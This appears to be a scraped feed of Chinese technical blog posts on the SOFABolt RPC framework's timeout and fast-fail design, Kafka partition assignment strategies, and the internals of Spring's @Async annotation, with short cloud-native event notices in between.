    • future:异步调用,调用线程不会被阻塞,通过 future 获取调用结果时才会被阻塞,适用于需要并发调用的场景,比如调用多个服务端并等待所有结果返回后执行特定逻辑的场景;
    • callback:异步调用,调用线程不会被阻塞,调用结果在 callback 线程中被处理,适用于高并发要求的场景;

    oneway 调用的场景非常明确,当调用方不需要拿到调用结果的时候就可以使用这种模式,但是当需要处理调用结果的时候,选择使用同步的 sync 还是使用异步的 future 和 callback?都是异步调用,又如何在 future、callback 两种模式中选择?

    显然同步能做的事情异步也能做,但是异步调用会涉及到线程上下文的切换、异步线程池的设置等等,较为复杂。如果你的场景比较简单,比如整个流程就一个调用并处理结果,那么建议使用同步的方式处理;如果整个过程需要分几个步骤执行,可以拆分不同的步骤异步执行,给耗时的操作分配更多的资源来提升系统整体的吞吐。

    在 future 和 callback 的选择中,callback 是更彻底的异步调用,future 适用于需要协调多个异步调用的场景。比如需要调用多个服务,并且根据多个服务端响应结果执行逻辑时,可以采用 future 的模式给多个服务发送请求,在统一对所有的 future 进行处理完成协同操作。

    超时控制机制

    在上一部分的通信模型中,除了 oneway 之后,其他三种(sync、future、callback)都需要进行超时控制,因为用户需要在预期的时间内拿到结果。超时控制简单来说就是在用户发起调用后,在预期的时间内如果没有拿到服务端响应的结果,那么这次调用就超时了,需要让用户感知到超时,避免一直阻塞调用线程或者 callback 永远得不到执行。

    在通信框架中,超时控制必须要满足高效、准确的要求,因为通信框架是分布式系统的基础组件,一旦通信框架出现性能问题,那么上层系统的性能显然是无法提升的。超时控制的准确性也非常重要,比如用户预期一次调用最多只能执行3秒,因为超时控制不准确导致用户调用时线程被阻塞了4秒,这显然是不能接受的。

    超时控制

    SOFABolt 的超时控制采用了 Netty 中的 HashedWheelTimer,其原理如上图。假设一次 tick 表示100毫秒,那么上面的时间轮 tick 一轮表示800毫秒,如果需要在300毫秒后触发超时,那么这个超时任务会被放到'2'的 bucket 中,等到 tick 到'2'时则被触发。如果一个超时任务需要在900毫秒后触发,那么它会被放到如'0'的 bucket 中,并标记 task 的 remainingRounds=1,当第一次 tick 到'0'时发现 remainingRounds 不等于0,会对 remainingRounds 进行减1操作,当第二次 tick 到'0',发现这个任务的 remainingRounds 是0,则触发这个任务。

    如果将时间轮的一次 tick 设置为1秒,ticksPerWheel 设置为60,那么就是现实时钟的秒针,走完一圈代表一分钟。如果一个任务需要再1分15秒后执行,就是标记为秒针走一轮之后指向第15格时触发。关于时间轮的原理推荐阅读下面这篇论文:
    《Hashed and Hierarchical Timing Wheels: data structures to efficiently implement a timer facility》。

    快速失败机制

    超时控制机制可以保证客户端的调用在一个预期时间之后一定会拿到一个响应,无论这个响应是由服务端返回的真实响应,还是触发了超时。如果因为某些原因导致客户端的调用超时了,而服务端在超时之后实际将响应结果返回给客户端了会怎么样?

    这个响应结果在客户端会被丢弃,因为对应的请求已经因为超时被释放掉,服务端的这个响应会因为找不到对应的请求而被丢弃。既然响应在请求超时之后返回给客户端会被丢弃,那么在确定请求已经超时的情况下服务端是否可以不处理这个请求而直接返回超时的响应给客户端?——这就是 SOFABolt 的快速失败机制。

    快速失败机制

    快速失败机制可以减轻服务端的负担,使服务端尽快恢复服务。比如因为某些外部依赖的因素导致服务端处理一批请求产生了阻塞,而此时客户端还在将更多的请求发送到服务端堆积在 Buffer 中等待处理。当外部依赖恢复时,服务端因为要处理已经在 Buffer 中的请求(实际这些请求已经超时,处理这些请求将没有业务意义),而导致后续正常的请求排队阻塞。加入快速失败机制后,在这种情况下可以将 Buffer 中的请求进行丢弃而开始服务当前新增的未超时的请求,使的服务能快速的恢复。

    快速失败机制-2

    快速失败机制的前提条件是能判断出一个请求已经超时,而判断超时需要依赖时间,依赖时间则需要统一的时间参照。在分布式系统中是无法依赖不同的机器上的时间的,因为网络会有延迟、机器时间的时间会有偏差。为了避免参照时间的不一致(机器之间的时钟不一致),SOFABolt 的快速失败机制只依赖于服务端机器自身的时钟(统一的时间参照),判断请求已经超时的条件为:

    System.currentTimestamp - request.arriveTimestamp > request.timeout

    request.arriveTimestamp 为请求达到服务端时的时间,request.timeout 为请求设置的超时时间,因为请求从客户端发出到服务端需要时间,所以当以到达时间来计算时,如果这个请求已经超时,那么这个请求在客户端侧必然已经超时,可以安全的将这个请求丢弃。

    具体分布式系统中时间和顺序等相关的文件推荐阅读《Time, Clocks, and the Ordering of Events in a Distributed System》,Lamport 在此文中透彻的分析了分布式系统中的顺序问题。

    协议框架

    协议框架

    SOFABolt 中包含的协议命令如上图所示。在 RPC 版本的协议命令中只包含两类:RPC 请求/响应、心跳的请求/响应。RPC 的请求/响应负责携带用户的请求数据和响应数据,心跳请求用于连接的保活,只携带少量的信息(一般只包含请求 ID 之类的必要信息即可)。

    有了命令之后,还需要有命令的编解码器和命令处理器,以实现命令的编解码和处理。RemotingCommand 的处理模型如下:

    emotingCommand 的处理模型

    整个请求和响应的过程设计的核心组件如上图所示,其中:

    • 客户端侧:

      • Connection 连接对象的封装,封装对底层网络的操作;
      • CommandEncoder 负责编码 RemotingCommand,将 RemotingCommand 按照私有协议编码成 byte 数据;
      • RpcResponseProcessor 负责处理服务端的响应;
    • 服务端侧:

      • CommandDecoder 分别负责解码 byte 数据,按照私有协议将 byte 数据解析成 RemotingCommand 对象;
      • RpcHandler 按照协议码将 RemotingCommand 转发到对应的 CommandHandler 处理;
      • CommandHandler 按照 CommandCode 将 RemotingCommand 转发到对应的 RpcRequestProcessor 处理;
      • RpcRequestProcessor 按照 RemotingCommand 携带对象的 Class 将请求转发到用户的 UserProcessor 执行业务逻辑,并将结果通过 CommandDecoder 编码后返回给客户端;

    私有协议实现

    内置私有协议实现

    SOFABolt 除了提供基础通信能力外,内置了私有协议的实现,可以做到开箱即用。内置的私有协议实现是经过实践打磨的,具备扩展性的私有协议实现。

    内置私有协议

    • proto:预留的协议码字段,当协议发生较大变更时,可以通过协议码进行区分;
    • ver1:确定协议之后,通过协议版本来兼容未来协议的小调整,比如追加字段;
    • type:标识 Command 类型:oneway、request、response;
    • cmdcode:命令码,比如之前介绍的 RpcRequestCommand、HeartbeatCommand 就需要用不同的命令码进行区分;
    • ver2:Command 的版本,用于标识同一个命令的不同版本;
    • requestId:请求的 ID,用于唯一标识一个请求,在异步操作中通过此 ID 来映射请求和响应;
    • codec:序列化码,用于标识使用哪种方式来进行业务数据的序列化;
    • switch:协议开关,用于标识是否开启某些协议层面的能力,比如开启 CRC 校验;
    • timeout:客户端进行请求时设置的超时时间,快速失败机制所依赖的超时时间;
    • classLen:业务请求类的的类名长度;
    • headerLen:业务请求头的长度;
    • contentLen:业务请求体的长度;
    • className:业务请求类的类名;
    • header:业务请求头;
    • content:业务请求体;
    • CRC32:CRC校验码;

    实现自定义协议

    在 SOFABolt 中实现私有协议的关键是实现编解码器(CommandEncoder/CommandDecoder)及命令处理器(CommandHandler)。

    编解码器

    上面是为了在 SOFABolt 中实现自定义私有协议锁需要编写的类。SOFABolt 将编解码器及命令处理器都绑定到 Protocol 对象上,每个 Protocol 实现都有一组自己的编解码器和命令处理器。

    Protocol 对象

    在编解码器中实现自定义的私有协议。在设计私有协议时一定要考虑好协议的可拓展性,以便在未来进行功能增强时不会出现协议无法兼容的情况。

    可拓展性

    完成编解码之后剩余工作就是实现处理器。处理器分为两块:命令处理入口 CommandHandler 及具体的业务逻辑执行器 RemotingProcessor。

    命令处理入口 CommandHandler

    具体的业务逻辑执行器 RemotingProcessor

    完成以上工作后,使用 SOFABolt 实现自定义私有协议通信的开发工作基本完成了,但是在实际编写这部分代码时会遇到种种困难及限制,主要体现在以下一些方面:

    • 扩展性不足:比如在 RpcClient 中默认使用了内置的编解码器,且没有预留接口进行设置,当使用自定义协议时只能继承 RpcClient 进行覆盖;
    • 框架和协议耦合:比如默认提供了 CommandHandler->RemotingProcessor->UserProcessor 这样的处理模型,但是这个模型和协议耦合严重(依赖于 CommandCode 和 RequestCode),导致使用自定义协议时只能自己实现 CommandHandler,然后自己在实现请求的分发逻辑等,相当于要重写 CommandHandler->RemotingProcessor->UserProcessor 这个模型;
    • 协议限制:虽然可以通过自定义 Encoder 和 Decoder 实现自定义协议,但是框架内部组织时都依赖 ProtocolCode,导致需要将 ProtocolCode 加入到协议中,限制了用户设计私有协议的自由;

    总体而言,当前 SOFABolt 提供了非常强大的通信能力和多年沉淀的协议设计。如果用户需要去适配自己当前已经在运行的私有协议还有可以完善的地方,根本原因还是在于设计之初是贴合这 RPC 框架来设计的(从很多代码的命名上也能看出来),所以在协议和框架的分离上可以做的更好。

    总结

    本次分享从 SOFABolt 整体框架的实现开始,介绍了 SOFABolt 的基础通信模型、超时控制以及快速失败机制,着重分析了私有协议实现的示例,总结而言 SOFABolt 提供了:

    • 基于 Netty 的最佳实践;
    • 基础的通信模型和高效的超时控制机制、快速失败机制;
    • 内置的私有协议实现,开箱即用;

    欢迎 Star SOFABolt:https://github.com/sofastack/sofa-bolt

    以上就是本期分享的主要内容。因为直播时间有限,关于 SOFABolt 更详细的介绍,可以阅读「剖析 SOFABolt 框架」系列文章,由 SOFABolt 团队以及开源社区同学共同出品:

    「剖析 SOFABolt 框架」解析:https://www.sofastack.tech/blog/ 点击 tag 「剖析 | SOFABolt 框架」

    one more thing

    SOFABolt 目前也存在可以提升完善的地方,在尝试实现完全自定义的私有协议时是相对困难的,需要对代码做一些继承改造。

    针对这个现状,我们在“阿里巴巴编程之夏”活动中提交了一个 SOFABolt 的课题:“拆分 SOFABolt 的框架和协议”,希望先通过拆分框架和协议,之后再进行模块化的处理,使 SOFABolt 成为一个灵活的、可拓展的通信框架最佳实践!

    欢迎大家一起共建来解决这个问题,让 SOFABolt 变得更好:
    https://github.com/sofastack/sofa-bolt/issues/224

    SOFAStack 也欢迎更多开源爱好者加入社区共建,成为社区 Contributor、Committer(emoji 表情)

    SOFACommunity:https://www.sofastack.tech/community/

    本期视频回顾以及 PPT 查看地址

    https://tech.antfin.com/community/live/1265

    ]]>
    阿里云《云原生架构白皮书》:云计算的最佳演进路径 Fri, 02 May 2025 09:39:03 +0800 “云原生”已成为一个成为技术圈广泛传播的流行词了。那么什么是云原生?云原生能给我们带来什么?怎么将云原生架构落地?应该是每个关心云计算新技术的技术人都关心的吧,我也不例外,当在群里得知阿里云要出品《云原生架构白皮书》时,第一时间就预约了试读。
    PS:做个小广告,如果你也想拥有这样的“特权”,欢迎加入阿里云MVP]]>
    首届 KubeCon 2020 线上峰会-阿里云专场议程全公布 Fri, 02 May 2025 09:39:03 +0800 2020 年 7 月 30 日- 8 月 1 日,由 Cloud Native Computing Foundation (简称 CNCF ) 主办的云原生技术大会 Cloud Native + Open Source Virtual Summit China 2020 (以下简称线上 KubeCon )将首次以线上形式召开。

    作为云原生领域重要的知识分享和实践体验平台,阿里云应邀出席首届线上 KubeCon ,同时推出“阿里巴巴云原生专场”整场活动全天候直播,共 27 个议题,37 位云原生专家,超过 780 分钟干货分享最新云原生热点话题

    详细议程现已公布,详见下方海报。
    C1474728-0B68-4699-B55E-6FBCA7A44860.png

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    ​Kafka分区分配策略 Fri, 02 May 2025 09:39:03 +0800 我们知道每个Topic会分配为很多partitions,Producers会将数据分配到每个partitions中,然后消费者Consumers从partitions中获取数据消费,那么Producers是如何将数据分到partitions中?Consumers又怎么知道从哪个partitions中消费数据?

    生产者往Topic写数据

    我们从product.send方法入手,看看里面的具体实现,可以看到在调用send方法时,其内部是调用了doSend方法,在doSend方法中有一个获取partitions的方法

    int partition = partition(record, serializedKey, serializedValue, cluster);
    
    private int partition(ProducerRecord<K, V> record, byte[] serializedKey, byte[] serializedValue, Cluster cluster) {
        Integer partition = record.partition();
        return partition != null ?
                partition :
                partitioner.partition(
                        record.topic(), record.key(), serializedKey, record.value(), serializedValue, cluster);
    }

    从上面代码中,首先先选择配置的分区,如果没有配置则使用默认的分区,即使用了DefaultPartitioner中的partition方法

    public int partition(String topic, Object key, byte[] keyBytes, Object value, byte[] valueBytes, Cluster cluster) {
        List<PartitionInfo> partitions = cluster.partitionsForTopic(topic);
        int numPartitions = partitions.size();
        if (keyBytes == null) {
            int nextValue = nextValue(topic);
            List<PartitionInfo> availablePartitions = cluster.availablePartitionsForTopic(topic);
            if (availablePartitions.size() > 0) {
                int part = Utils.toPositive(nextValue) % availablePartitions.size();
                return availablePartitions.get(part).partition();
            } else {
                // 没有可用的分区,则给一个不可用分区
                return Utils.toPositive(nextValue) % numPartitions;
            }
        } else {
            // 根据key的hash值和分区数取模
            return Utils.toPositive(Utils.murmur2(keyBytes)) % numPartitions;
        }
    }

    上面代码先会根据topic获取所有的分区
    1,如果key为null,则通过先产生随机数,之后在该数上自增的方式产生一个数nextValue,如果存在可用分区,将nextValue转为正数之后对可用分区进行取模操作,如果不存在可用分区,则将nextValue对总分区数进行取模操作

    2,如果key不为空,就先获取key的hash值,然后和分区数进行取模操作

    消费者从Topic读数据
    kafka默认对消费分区指定了两种策略,分别为Range策略(org.apache.kafka.clients.consumer.RangeAssignor)和RoundRobin策略(org.apache.kafka.clients.consumer.RoundRobinAssignor),它们都实现了PartitionAssignor接口

    Range策略
    比如有10个分区,分别为P1、P2、P3、P4、P5、P6、P7、P8、P9、P10,三个消费者C1、C2、C3,消费如下图:
    image.png
    我们来看看源代码:

    @Override
    public Map<String, List<TopicPartition>> assign(Map<String, Integer> partitionsPerTopic,
                                                    Map<String, Subscription> subscriptions) {
        // 得到topic和订阅的消费者集合信息,例如{t1:[c1,c2,c3], t2:[c1,c2,c3,c4]}
        Map<String, List<String>> consumersPerTopic = consumersPerTopic(subscriptions);
        Map<String, List<TopicPartition>> assignment = new HashMap<>();
        // 将consumersPerTopic信息转换为assignment,memberId就是消费者client.id+uuid(kafka在client.id上追加的)
        for (String memberId : subscriptions.keySet())
            assignment.put(memberId, new ArrayList<TopicPartition>());
    
        // 遍历每个Topic,获取所有的订阅消费者
        for (Map.Entry<String, List<String>> topicEntry : consumersPerTopic.entrySet()) {
            String topic = topicEntry.getKey();
            List<String> consumersForTopic = topicEntry.getValue();
    
            Integer numPartitionsForTopic = partitionsPerTopic.get(topic);
            // 如果Topic没有分区,则调过
            if (numPartitionsForTopic == null)
                continue;
    
             // 将Topic的订阅者根据字典排序
            Collections.sort(consumersForTopic);
             // 总分区数/订阅者的数量 得到每个订阅者应该分配分区数
            int numPartitionsPerConsumer = numPartitionsForTopic / consumersForTopic.size();
            // 无法整除的剩余分区数量
            int consumersWithExtraPartition = numPartitionsForTopic % consumersForTopic.size();
    
            List<TopicPartition> partitions = AbstractPartitionAssignor.partitions(topic, numPartitionsForTopic);
            //遍历所有的消费者
            for (int i = 0, n = consumersForTopic.size(); i < n; i++) {
                  //分配到的分区的开始位置
                int start = numPartitionsPerConsumer * i + Math.min(i, consumersWithExtraPartition);
                // 分配到的分区数量(整除分配到的分区数量,加上1个无法整除分配到的分区--如果有资格分配到这个分区的话。判断是否有资格分配到这个分区:如果整除后余数为m,那么排序后的消费者集合中前m个消费者都能分配到一个额外的分区)
                int length = numPartitionsPerConsumer + (i + 1 > consumersWithExtraPartition ? 0 : 1);
                //给消费者分配分区
                assignment.get(consumersForTopic.get(i)).addAll(partitions.subList(start, start + length));
            }
        }
        return assignment;
    }

    上面的代码添加了注释很清楚的展现了range的实现,对应上面的例子,如果有4个消费者C1、C2、C3、C4,那么根据上面的算法:

    C1 -> [P1,P2,P3] ,C2 -> [P4,P5,P6] ,C3 -> [P7,P8] C4 -> [P9,P10] 。取余多出来的两个分区,由最前n个消费者来消费

    RoundRobin策略
    将主题的所有分区依次分配给消费者,比如有两个Topic:T1[P1,P2,P3,P4],T2[P5,P6,P7,P8,P9,P10],若C1、C2订阅了T1,C2、C3订阅了T2,那么C1将消费T1[P1,P3],C2将消费T1[P2,P4,P6,P8,P10],C3将消费T2[P5,P7,P9],如下图:
    image.png

    @Override
    public Map<String, List<TopicPartition>> assign(Map<String, Integer> partitionsPerTopic,
                                                    Map<String, Subscription> subscriptions) {
        Map<String, List<TopicPartition>> assignment = new HashMap<>();
        for (String memberId : subscriptions.keySet())
            assignment.put(memberId, new ArrayList<TopicPartition>());
        // 将消费集合先按字典排序,构建成一个环形迭代器
        CircularIterator<String> assigner = new CircularIterator<>(Utils.sorted(subscriptions.keySet()));
       // 按Topic的名称排序,得到Topic下的所有分区
        for (TopicPartition partition : allPartitionsSorted(partitionsPerTopic, subscriptions)) {
            final String topic = partition.topic();
    
            while (!subscriptions.get(assigner.peek()).topics().contains(topic))
                assigner.next();
            // 给消费者分配分区,并轮询到下一个消费者
            assignment.get(assigner.next()).add(partition);
        }
        return assignment;
    }
    
    /**
     * 根据消费者得到订阅的Topic下的所有分区
     * Topic按名称字典排序
     */
    public List<TopicPartition> allPartitionsSorted(Map<String, Integer> partitionsPerTopic,
                                                    Map<String, Subscription> subscriptions) {
        SortedSet<String> topics = new TreeSet<>();
        for (Subscription subscription : subscriptions.values())
            topics.addAll(subscription.topics());
    
        List<TopicPartition> allPartitions = new ArrayList<>();
        for (String topic : topics) {
            Integer numPartitionsForTopic = partitionsPerTopic.get(topic);
            if (numPartitionsForTopic != null)
                allPartitions.addAll(AbstractPartitionAssignor.partitions(topic, numPartitionsForTopic));
        }
        return allPartitions;
    }
    ]]>
    Spring中异步注解@Async的使用、原理及使用时可能导致的问题 Fri, 02 May 2025 09:39:03 +0800 前言

    其实最近都在研究事务相关的内容,之所以写这么一篇文章是因为前面写了一篇关于循环依赖的文章:

    面试必杀技,讲一讲Spring中的循环依赖

    然后,很多同学碰到了下面这个问题,添加了Spring提供的一个异步注解@Async循环依赖无法被解决了,下面是一些读者的留言跟群里同学碰到的问题:

    image-20200719200303749

    image-20200719200244719

    本着讲一个知识点就要讲明白、讲透彻的原则,我决定单独写一篇这样的文章对@Async这个注解做一下详细的介绍,这个注解带来的问题远远不止循环依赖这么简单,如果对它不够熟悉的话建议慎用。

    文章要点

    image-20200719201511174

    @Async的基本使用

    这个注解的作用在于可以让被标注的方法异步执行,但是有两个前提条件

    1. 配置类上添加@EnableAsync注解
    2. 需要异步执行的方法的所在类由Spring管理
    3. 需要异步执行的方法上添加了@Async注解

    我们通过一个Demo体会下这个注解的作用吧

    第一步,配置类上开启异步:

    @EnableAsync
    @Configuration
    @ComponentScan("com.dmz.spring.async")
    public class Config {
    
    }

    第二步,

    @Component  // 这个类本身要被Spring管理
    public class DmzAsyncService {
        
        @Async  // 添加注解表示这个方法要异步执行
        public void testAsync(){
            try {
                TimeUnit.SECONDS.sleep(1);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            System.out.println("testAsync invoked");
        }
    }

    第三步,测试异步执行

    public class Main {
        public static void main(String[] args) {
            AnnotationConfigApplicationContext ac = new AnnotationConfigApplicationContext(Config.class);
            DmzAsyncService bean = ac.getBean(DmzAsyncService.class);
            bean.testAsync();
            System.out.println("main函数执行完成");
        }
    }
    // 程序执行结果如下:
    // main函数执行完成
    // testAsync invoked

    通过上面的例子我们可以发现,DmzAsyncService中的testAsync方法是异步执行的,那么这背后的原理是什么呢?我们接着分析

    原理分析

    我们在分析某一个技术的时候,最重要的事情是,一定一定要找到代码的入口,像Spring这种都很明显,入口必定是在@EnableAsync这个注解上面,我们来看看这个注解干了啥事(本文基于5.2.x版本)

    @Target(ElementType.TYPE)
    @Retention(RetentionPolicy.RUNTIME)
    @Documented
    // 这里是重点,导入了一个ImportSelector
    @Import(AsyncConfigurationSelector.class)
    public @interface EnableAsync {
        
        // 这个配置可以让程序员配置需要被检查的注解,默认情况下检查的就是@Async注解
        Class<? extends Annotation> annotation() default Annotation.class;
        
        // 默认使用jdk代理
        boolean proxyTargetClass() default false;
        
        // 默认使用Spring AOP
        AdviceMode mode() default AdviceMode.PROXY;
        
        // 在后续分析我们会发现,这个注解实际往容器中添加了一个
        // AsyncAnnotationBeanPostProcessor,这个后置处理器实现了Ordered接口
        // 这个配置主要代表了AsyncAnnotationBeanPostProcessor执行的顺序
        int order() default Ordered.LOWEST_PRECEDENCE;
    }
    

    上面这个注解做的最重要的事情就是导入了一个AsyncConfigurationSelector,这个类的源码如下:

    public class AsyncConfigurationSelector extends AdviceModeImportSelector<EnableAsync> {
    
        private static final String ASYNC_EXECUTION_ASPECT_CONFIGURATION_CLASS_NAME =
                "org.springframework.scheduling.aspectj.AspectJAsyncConfiguration";
    
        @Override
        @Nullable
        public String[] selectImports(AdviceMode adviceMode) {
            switch (adviceMode) {
                    // 默认会使用SpringAOP进行代理
                case PROXY:
                    return new String[] {ProxyAsyncConfiguration.class.getName()};
                case ASPECTJ:
                    return new String[] {ASYNC_EXECUTION_ASPECT_CONFIGURATION_CLASS_NAME};
                default:
                    return null;
            }
        }
    
    }

    这个类的作用是像容器中注册了一个ProxyAsyncConfiguration,这个类的继承关系如下:

    image-20200719220316319

    我们先看下它的父类AbstractAsyncConfiguration,其源码如下:

    @Configuration
    public abstract class AbstractAsyncConfiguration implements ImportAware {
        
        @Nullable
        protected AnnotationAttributes enableAsync;
    
        @Nullable
        protected Supplier<Executor> executor;
    
        @Nullable
        protected Supplier<AsyncUncaughtExceptionHandler> exceptionHandler;
        
        // 这里主要就是检查将其导入的类上是否有EnableAsync注解
        // 如果没有的话就报错
        @Override
        public void setImportMetadata(AnnotationMetadata importMetadata) {
            this.enableAsync = AnnotationAttributes.fromMap(
                    importMetadata.getAnnotationAttributes(EnableAsync.class.getName(), false));
            if (this.enableAsync == null) {
                throw new IllegalArgumentException(
                        "@EnableAsync is not present on importing class " + importMetadata.getClassName());
            }
        }
        
        // 将容器中配置的AsyncConfigurer注入
        // 异步执行嘛,所以我们可以配置使用的线程池
        // 另外也可以配置异常处理器
        @Autowired(required = false)
        void setConfigurers(Collection<AsyncConfigurer> configurers) {
            if (CollectionUtils.isEmpty(configurers)) {
                return;
            }
            if (configurers.size() > 1) {
                throw new IllegalStateException("Only one AsyncConfigurer may exist");
            }
            AsyncConfigurer configurer = configurers.iterator().next();
            this.executor = configurer::getAsyncExecutor;
            this.exceptionHandler = configurer::getAsyncUncaughtExceptionHandler;
        }
    
    }

    再来看看ProxyAsyncConfiguration这个类的源码

    @Configuration
    @Role(BeanDefinition.ROLE_INFRASTRUCTURE)
    public class ProxyAsyncConfiguration extends AbstractAsyncConfiguration {
    
        @Bean(name = TaskManagementConfigUtils.ASYNC_ANNOTATION_PROCESSOR_BEAN_NAME)
        @Role(BeanDefinition.ROLE_INFRASTRUCTURE)
        public AsyncAnnotationBeanPostProcessor asyncAdvisor() {
            AsyncAnnotationBeanPostProcessor bpp = new AsyncAnnotationBeanPostProcessor();
            // 将通过AsyncConfigurer配置好的线程池跟异常处理器设置到这个后置处理器中
            bpp.configure(this.executor, this.exceptionHandler);
            Class<? extends Annotation> customAsyncAnnotation = this.enableAsync.getClass("annotation");
            if (customAsyncAnnotation != AnnotationUtils.getDefaultValue(EnableAsync.class, "annotation")) {
                bpp.setAsyncAnnotationType(customAsyncAnnotation);
            }
            bpp.setProxyTargetClass(this.enableAsync.getBoolean("proxyTargetClass"));
            bpp.setOrder(this.enableAsync.<Integer>getNumber("order"));
            return bpp;
        }
    
    }

    这个类本身是一个配置类,它的作用是向容器中添加一个AsyncAnnotationBeanPostProcessor。到这一步我们基本上就可以明白了,@Async注解的就是通过AsyncAnnotationBeanPostProcessor这个后置处理器生成一个代理对象来实现异步的,接下来我们就具体看看AsyncAnnotationBeanPostProcessor是如何生成代理对象的,我们主要关注一下几点即可:

    1. 是在生命周期的哪一步完成的代理?
    2. 切点的逻辑是怎么样的?它会对什么样的类进行拦截?
    3. 通知的逻辑是怎么样的?是如何实现异步的?

    基于上面几个问题,我们进行逐一分析

    是在生命周期的哪一步完成的代理?

    我们抓住重点,AsyncAnnotationBeanPostProcessor是一个后置处理器器,按照我们对Spring的了解,大概率是在这个后置处理器的postProcessAfterInitialization方法中完成了代理,直接定位到这个方法,这个方法位于父类AbstractAdvisingBeanPostProcessor中,具体代码如下:

    public Object postProcessAfterInitialization(Object bean, String beanName) {
        // 没有通知,或者是AOP的基础设施类,那么不进行代理
        if (this.advisor == null || bean instanceof AopInfrastructureBean) {
            return bean;
        }
        
        // 对已经被代理的类,不再生成代理,只是将通知添加到代理类的逻辑中
        // 这里通过beforeExistingAdvisors决定是将通知添加到所有通知之前还是添加到所有通知之后
        // 在使用@Async注解的时候,beforeExistingAdvisors被设置成了true
        // 意味着整个方法及其拦截逻辑都会异步执行
        if (bean instanceof Advised) {
            Advised advised = (Advised) bean;
            if (!advised.isFrozen() && isEligible(AopUtils.getTargetClass(bean))) {
                if (this.beforeExistingAdvisors) {
                    advised.addAdvisor(0, this.advisor);
                }
                else {
                    advised.addAdvisor(this.advisor);
                }
                return bean;
            }
        }
        
        // 判断需要对哪些Bean进行来代理
        if (isEligible(bean, beanName)) {
            ProxyFactory proxyFactory = prepareProxyFactory(bean, beanName);
            if (!proxyFactory.isProxyTargetClass()) {
                evaluateProxyInterfaces(bean.getClass(), proxyFactory);
            }
            proxyFactory.addAdvisor(this.advisor);
            customizeProxyFactory(proxyFactory);
            return proxyFactory.getProxy(getProxyClassLoader());
        }
        return bean;
    }

    果不其然,确实是在这个方法中完成的代理。接着我们就要思考,切点的过滤规则是什么呢?

    切点的逻辑是怎么样的?

    其实也不难猜到肯定就是类上添加了@Async注解或者类中含有被@Async注解修饰的方法。基于此,我们看看这个isEligible这个方法的实现逻辑,这个方位位于AbstractBeanFactoryAwareAdvisingPostProcessor中,也是AsyncAnnotationBeanPostProcessor的父类,对应代码如下:

    // AbstractBeanFactoryAwareAdvisingPostProcessor的isEligible方法
    // 调用了父类
    protected boolean isEligible(Object bean, String beanName) {
        return (!AutoProxyUtils.isOriginalInstance(beanName, bean.getClass()) &&
                super.isEligible(bean, beanName));
    }
    
    protected boolean isEligible(Object bean, String beanName) {
        return isEligible(bean.getClass());
    }
    
    protected boolean isEligible(Class<?> targetClass) {
        Boolean eligible = this.eligibleBeans.get(targetClass);
        if (eligible != null) {
            return eligible;
        }
        if (this.advisor == null) {
            return false;
        }
        // 这里完成的判断
        eligible = AopUtils.canApply(this.advisor, targetClass);
        this.eligibleBeans.put(targetClass, eligible);
        return eligible;
    }

    实际上最后就是根据advisor来确定是否要进行代理,在Spring中AOP相关的API及源码解析,原来AOP是这样子的这篇文章中我们提到过,advisor实际就是一个绑定了切点的通知,那么AsyncAnnotationBeanPostProcessor这个advisor是什么时候被初始化的呢?我们直接定位到AsyncAnnotationBeanPostProcessorsetBeanFactory方法,其源码如下:

    public void setBeanFactory(BeanFactory beanFactory) {
        super.setBeanFactory(beanFactory);
        
        // 在这里new了一个AsyncAnnotationAdvisor
        AsyncAnnotationAdvisor advisor = new AsyncAnnotationAdvisor(this.executor, this.exceptionHandler);
        if (this.asyncAnnotationType != null) {
            advisor.setAsyncAnnotationType(this.asyncAnnotationType);
        }
        advisor.setBeanFactory(beanFactory);
        // 完成了初始化
        this.advisor = advisor;
    }

    我们来看看AsyncAnnotationAdvisor中的切点匹配规程是怎么样的,直接定位到这个类的buildPointcut方法中,其源码如下:

    protected Pointcut buildPointcut(Set<Class<? extends Annotation>> asyncAnnotationTypes) {
        ComposablePointcut result = null;
        for (Class<? extends Annotation> asyncAnnotationType : asyncAnnotationTypes) {
            // 就是根据这两个匹配器进行匹配的
            Pointcut cpc = new AnnotationMatchingPointcut(asyncAnnotationType, true);
            Pointcut mpc = new AnnotationMatchingPointcut(null, asyncAnnotationType, true);
            if (result == null) {
                result = new ComposablePointcut(cpc);
            }
            else {
                result.union(cpc);
            }
            result = result.union(mpc);
        }
        return (result != null ? result : Pointcut.TRUE);
    }

    代码很简单,就是根据cpc跟mpc两个匹配器来进行匹配的,第一个是检查类上是否有@Async注解,第二个是检查方法是是否有@Async注解。

    那么,到现在为止,我们已经知道了它在何时创建代理,会为什么对象创建代理,最后我们还需要解决一个问题,代理的逻辑是怎么样的,异步到底是如何实现的?

    通知的逻辑是怎么样的?是如何实现异步的?

    前面也提到了advisor是一个绑定了切点的通知,前面分析了它的切点,那么现在我们就来看看它的通知逻辑,直接定位到AsyncAnnotationAdvisor中的buildAdvice方法,源码如下:

    protected Advice buildAdvice(
        @Nullable Supplier<Executor> executor, @Nullable Supplier<AsyncUncaughtExceptionHandler> exceptionHandler) {
    
        AnnotationAsyncExecutionInterceptor interceptor = new AnnotationAsyncExecutionInterceptor(null);
        interceptor.configure(executor, exceptionHandler);
        return interceptor;
    }

    简单吧,加了一个拦截器而已,对于interceptor类型的对象,我们关注它的核心方法invoke就行了,代码如下:

    public Object invoke(final MethodInvocation invocation) throws Throwable {
        Class<?> targetClass = (invocation.getThis() != null ? AopUtils.getTargetClass(invocation.getThis()) : null);
        Method specificMethod = ClassUtils.getMostSpecificMethod(invocation.getMethod(), targetClass);
        final Method userDeclaredMethod = BridgeMethodResolver.findBridgedMethod(specificMethod);
        
        // 异步执行嘛,先获取到一个线程池
        AsyncTaskExecutor executor = determineAsyncExecutor(userDeclaredMethod);
        if (executor == null) {
            throw new IllegalStateException(
                "No executor specified and no default executor set on AsyncExecutionInterceptor either");
        }
        
        // 然后将这个方法封装成一个 Callable对象传入到线程池中执行
        Callable<Object> task = () -> {
            try {
                Object result = invocation.proceed();
                if (result instanceof Future) {
                    return ((Future<?>) result).get();
                }
            }
            catch (ExecutionException ex) {
                handleError(ex.getCause(), userDeclaredMethod, invocation.getArguments());
            }
            catch (Throwable ex) {
                handleError(ex, userDeclaredMethod, invocation.getArguments());
            }
            return null;
        };
        // 将任务提交到线程池
        return doSubmit(task, executor, invocation.getMethod().getReturnType());
    }

    导致的问题及解决方案

    问题1:循环依赖报错

